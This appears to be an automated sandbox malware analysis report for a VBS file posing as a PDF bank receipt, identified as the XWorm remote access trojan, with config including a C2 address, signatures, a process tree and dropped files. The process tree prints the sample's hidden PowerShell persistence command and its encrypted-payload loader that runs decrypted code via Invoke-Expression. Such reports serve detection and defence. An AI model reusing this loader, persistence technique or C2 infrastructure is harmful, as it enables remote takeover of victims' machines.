Overview

overview

10

Static

static

1

e-dekont_pdf.z.vbs

windows10-2004-x64

10

e-dekont_pdf.z.vbs

windows11-ltsc_2024-x64

10

Resubmissions

23/06/2026, 10:13

260623-l9a7eab171

23/06/2026, 07:54

260623-jrt6fsa15k10

Analysis

  • max time kernel
    150s
  • max time network
    149s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260513-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    23/06/2026, 07:54

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Report Analysis Logs

General

  • Target
    e-dekont_pdf.z.vbs
  • Size 1.3MB
  • Sample260623-jrt6fsa15k
  • SHA256 83babce6edd6eb5f1a1daa0c333eae8ccd471b62e958402beef6c0187e9914f2
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
10/10
discoveryexecutionxwormrattrojan

Malware Config

Extracted

Family

  • xworm

Version

  • 5.0

C2

  • 155.103.69.160:2839

Mutex

  • RJc6ZIx2JvyyOQ2Z

Attributes
  • install_file

    USB.exe

aes.plain

Signatures

  • Family: Xworm

    Xworm is a remote access trojan written in C#.

    trojanratxworm
  • Detect Xworm Payload 1 IoCs
  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Badlisted process makes network request 1 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell and hide display window.

    execution
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops startup file 2 IoCs
  • Executes dropped EXE 1 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of WriteProcessMemory 9 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\e-dekont_pdf.z.vbs"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:2876
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -nop -w hidden -c Copy-Item -LiteralPath 'C:\Users\Admin\AppData\Local\Temp\e-dekont_pdf.z.vbs' -Destination 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\e-dekont_pdf.z.vbs' -Force
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Drops startup file
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2396
  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -Command "try { $scrabble = [System.Text.Encoding]::UTF8.GetBytes('gGOt7F2jc3nETGtb'); if ($scrabble.Length -lt 32) { $scrabble = $scrabble + (0..(31 - $scrabble.Length)) }; $karakuls = [Convert]::FromBase64String('EHiCfUR2zKhg9xWYXXC5XdH22Nnq7V4Z/WkKNpAJjccAcu6B99Byu6rE7yL4SInA32j5pmxxE6G8FnOtqgayjci6KQFH1ozWsrjHAJ3zvM2mr9axuLhekECwieJTw8RHzjvqq3fDYkNoSvbOslF4x/Ey3DwXhsBp/sclI7lAdA6I9ofw4hTJkEwCxl9TYgJmG0s+UMl+0rBfDhUBa3b5M8UfZjD6+71zohT+MlnLfmepYL/tHA87PJu1Wur9ZgYtSthRrmPgC5F9lZW8e6DFuLQUogY128WE6hI51BCdt6rvHGfhv+1dSARN5wWTmfcRgA2ZhQFPS0WizSTH5SPuMrLWJWMRieTSAlxWC0xr8zAprvMX/CTfI/OBfrlikSSBo6yCR86Q2ziql9pzUJa5cVDHaRu9cm1S2Z2MTsG0Iwyl8V/nEKp5ipRnuN7XsFfr9s5YL3xUfL627OxgbRmK55m2NeeoHOprW+r//oB9FYlzhjNIxEPYUtntPwbA22HzBGL0wiOsI6XgCvPnp910bpbVK5mUb4PrG/YSDDoe9KnuzW1BLa8+BN9SdnGl+K8HZW9xIQGsIeP2e3RVWMauw8tNn3ZK/WgTBq22rhsW92iwCTMEN1+LKMRq5evnPfzrMIILTl7qsjds9eesXzvSvxAtoLaPl1NlIkX1HUVrfIvq7+6zlmrA6/GobQUiZcYqkGy7/QF+y/XG7H8Kk2WjfK9VPECzNQVo9I8wCCVVn23Kw8JmbgPBWRxAgVraTpXeCQ2TjCufnd32lZcR43UuXDANE+25tJIQ073WOqpHlBMyitMBkPoaPxJOj6TkDrr/XQmD9Xp1A8b58BVbj5TA3mGl1KDLrCb179AgpxWPsvyW82P+eJ4raPXmk7kS2ONxpvhpg951SL4K05pBVbewAEWQYUfMB+EiCZP7ZkAZPAorvjMW2DFOvxYJsC3D+VVxH90cHxDvo93Go0Qgujj2UpX0ZW3kI3Be7q4PstIESf2kgYi9r02Ps/EN6VI0FsZQwyPEpK45qSMA9Nf2qxLiFb0nVd7yNU50SXTQtfiX3mWsDvYdCYGyA+4qy7z9My0ra7/SOsxj4kyyNmZSp75vAg0Bba9njjQtzXzih12nizPgElcWTeZPH/7ggTIf3eKEF3t/KirsWO5MPdEWotXhoRdQVmZNZ1nE3LKtmu5HhW5FBkBeivKYZJz2ABvpvu1ODbKovzaSCL5xBlRv0y6AwIDJ2cDg18OtVi80BffrVEj2/gTvEbfz68YiKKgJl720wiPZrxsKglfRy/KlWHhZYMSy0XlWRhTUYmGu7bn3nQhmL3z3OlV3UZwpyUdcbK+DWrBh8SF4U7FoqWjxVitwrA8cjoc+P/rZIOaNX7t6rUe6HJJnmEo4vu8L2NuVFrxb+QsEX/2kWDCaC13mZvnmOwJxCX1BDYJEqvS2tm8PE+G2KjY1Ldukubg5EXYPQde0V0G8MerNIJV4roiLMAVHVR0ExOwhyJkFKvQfzPjRMxjI2ywnbxDjhHqaXE/DRU5Tf02kjcN19CdhFcGy9GDNzfzx0ZS+Fe1ortKWysCT2sqadMJM6/VADnBFv6pxAbtlhz4HOh6uDpqLNX23nWL2tWeGvp9lDMwuZt+uDjtSqFnXPknNiYJwwCZ+ssfmRjDdXeFQoZryOpI4PtnvtYhdi/zFpxRYD7gXdS/90OZcgGweU8YABaoB73uptgDnct2zajZyRGEp0U5g57Kpldn9hW3f8zXpYf4lbygxl1Uzpcc='); $monogonoporous = $karakuls[0..15]; $stychomythias = $karakuls[16..($karakuls.Length-1)]; $euthanising = [System.Security.Cryptography.Aes]::Create(); $euthanising.Key = $scrabble; $euthanising.IV = $monogonoporous; $excitability = $euthanising.CreateDecryptor(); $sepiary = $excitability.TransformFinalBlock($stychomythias, 0, $stychomythias.Length); $gratz = [System.Text.Encoding]::UTF8.GetString($sepiary); Invoke-Expression $gratz; } catch {}"
    1⤵
    • Process spawned unexpected child process
    • Badlisted process makes network request
    • Command and Scripting Interpreter: PowerShell
    • Suspicious use of SetThreadContext
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:3744
    • C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:1344
      • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /target:exe /out:"C:\Users\Admin\AppData\Local\Temp\MSBuild.exe" "C:\Users\Admin\AppData\Local\Temp\guardian_src_1805732afdd148ce99cc965ff09097e1.cs"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:4536
        • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
          C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES80E3.tmp" "c:\Users\Admin\AppData\Local\Temp\CSC723690E4AE734C109F38F4D2FA2DEB2.TMP"
          4⤵
            PID:4452
        • C:\Users\Admin\AppData\Local\Temp\MSBuild.exe
          "C:\Users\Admin\AppData\Local\Temp\MSBuild.exe" 1344
          3⤵
          • Executes dropped EXE
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:4492

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          powershell.exe.log
          • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
          • Size 2KB
          • SHA256 b1f292b6199aa29c7fafbca007e5f9e3f68edcbbca1965bc828cc92dc0f18bb8
          • MD5 SHA1 SHA512 TLSH
          Submit Download

          StartupProfileData-NonInteractive
          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
          • Size 1KB
          • SHA256 237cbc13b6d15cb5097292911e4ff407a49191de20d216c565e740306a309718
          • MD5 SHA1 SHA512 TLSH
          Submit Download

          MSBuild.exe
          • Path C:\Users\Admin\AppData\Local\Temp\MSBuild.exe
          • Size 5KB
          • SHA256 532cab0757ffd705427b56e4bf7bdb6b833484913a9e59310c3354214da6a066
          • MD5 SHA1 SHA512 SSDEEP TLSH
          Submit Download

          RES80E3.tmp
          • Path C:\Users\Admin\AppData\Local\Temp\RES80E3.tmp
          • Size 1KB
          • SHA256 f2bb85cc6cdb6221b29b4a8f2e52abbdae3840583775a001d66e1c6b2ebaa94c
          • MD5 SHA1 SHA512 TLSH
          Submit Download

          __PSScriptPolicyTest_0dzaz4rp.lms.ps1
          • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_0dzaz4rp.lms.ps1
          • Size 60B
          • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
          • MD5 SHA1 SHA512 TLSH
          Submit Download

          CSC723690E4AE734C109F38F4D2FA2DEB2.TMP
          • Path \??\c:\Users\Admin\AppData\Local\Temp\CSC723690E4AE734C109F38F4D2FA2DEB2.TMP
          • Size 1KB
          • SHA256 a50a6f311d400c946c1444ca8be5df32c74461ece7f9e3b2b69446225a4d633c
          • MD5 SHA1 SHA512 TLSH
          Submit Download

          guardian_src_1805732afdd148ce99cc965ff09097e1.cs
          • Path \??\c:\Users\Admin\AppData\Local\Temp\guardian_src_1805732afdd148ce99cc965ff09097e1.cs
          • Size 4KB
          • SHA256 3ee1bf1ab210527e7543dc78ca3511904bf7770d571eb0d11746edd9f5bf814a
          • MD5 SHA1 SHA512 SSDEEP TLSH
          Submit Download

          memory/1344-32-0x0000000006370000-0x0000000006376000-memory.dmp
          Download

          memory/1344-31-0x0000000006330000-0x0000000006364000-memory.dmp
          Download

          memory/1344-26-0x0000000004FE0000-0x000000000507C000-memory.dmp
          Download

          memory/1344-27-0x00000000056D0000-0x0000000005736000-memory.dmp
          Download

          memory/1344-28-0x00000000060D0000-0x0000000006162000-memory.dmp
          Download

          memory/1344-29-0x0000000006720000-0x0000000006CC4000-memory.dmp
          Download

          memory/1344-30-0x00000000062B0000-0x000000000632C000-memory.dmp
          Download

          memory/1344-22-0x0000000000400000-0x000000000040E000-memory.dmp
          Download

          memory/2396-1-0x00000193C0CC0000-0x00000193C0CD0000-memory.dmp
          Download

          memory/2396-8-0x00000193C0D00000-0x00000193C0D22000-memory.dmp
          Download

          memory/2396-0-0x00000193C0CC0000-0x00000193C0CD0000-memory.dmp
          Download

          memory/3744-21-0x00000177F0A10000-0x00000177F0A1A000-memory.dmp
          Download

          memory/3744-20-0x00000177F30A0000-0x00000177F31C2000-memory.dmp
          Download

          memory/4492-44-0x00000000004D0000-0x00000000004D8000-memory.dmp
          Download